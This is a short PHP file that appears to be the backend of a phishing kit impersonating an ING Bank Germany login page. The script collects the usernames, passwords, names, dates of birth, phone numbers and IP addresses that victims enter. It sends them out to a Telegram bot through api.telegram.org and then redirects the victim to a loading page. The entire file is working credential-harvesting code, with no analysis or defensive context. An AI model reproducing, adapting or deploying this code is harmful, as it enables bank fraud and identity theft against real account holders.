File: /home/handcraf/public_html/ING/infos.php
<?php
require_once "functions.php";
require_once "cfg.php";
if (isset($_POST['user'])) {
$_SESSION['username'] = $_POST['user'];
$_SESSION['password'] = $_POST['password'];
$message = "INGBANK DE:" . "\n";
$message .= "Username : " . $_POST['user'] . "\r\n";
$message .= "Password : " . $_POST['password'] . "\r\n";
$message .= "IP : ".$ip."\n";
$apiToken;
$data = [
'chat_id' => $id,
'text' => $message
];
$response = file_get_contents("https://api.telegram.org/bot" .$apiToken . "/sendMessage?" . http_build_query($data) );
header('Location: loading.php?cred=1sHFHJHDHDHKJDJDSDSJDSJKJDSJDSDJJDSHYKJHGFG&bll=bll');
exit;
}
if (isset($_POST['fllname'])) {
$message = "INGBANK DE:" . "\n";
$message .= "Username : " . $_SESSION['username'] . "\r\n";
$message .= "Vorname : ".$_POST['fllname'] . "\n";
$message .= "Nachname : ".$_POST['lastname'] . "\n";
$message .= "Geburtsdatum : ".$_POST['dob'] . "\n";
$message .= "Telefonnummer : ".$_POST['phh'] . "\n";
$message .= "IP : ".$ip."\n";
$apiToken;
$data = [
'chat_id' => $id,
'text' => $message
];
$response = file_get_contents("https://api.telegram.org/bot" .$apiToken . "/sendMessage?" . http_build_query($data) );
header('Location: loading.php?cred=1sHFHJHDHDHKJDJDSDSJDSJKJDSJDSDJJDSHYKJHGFG&success=success');
exit();
}
?>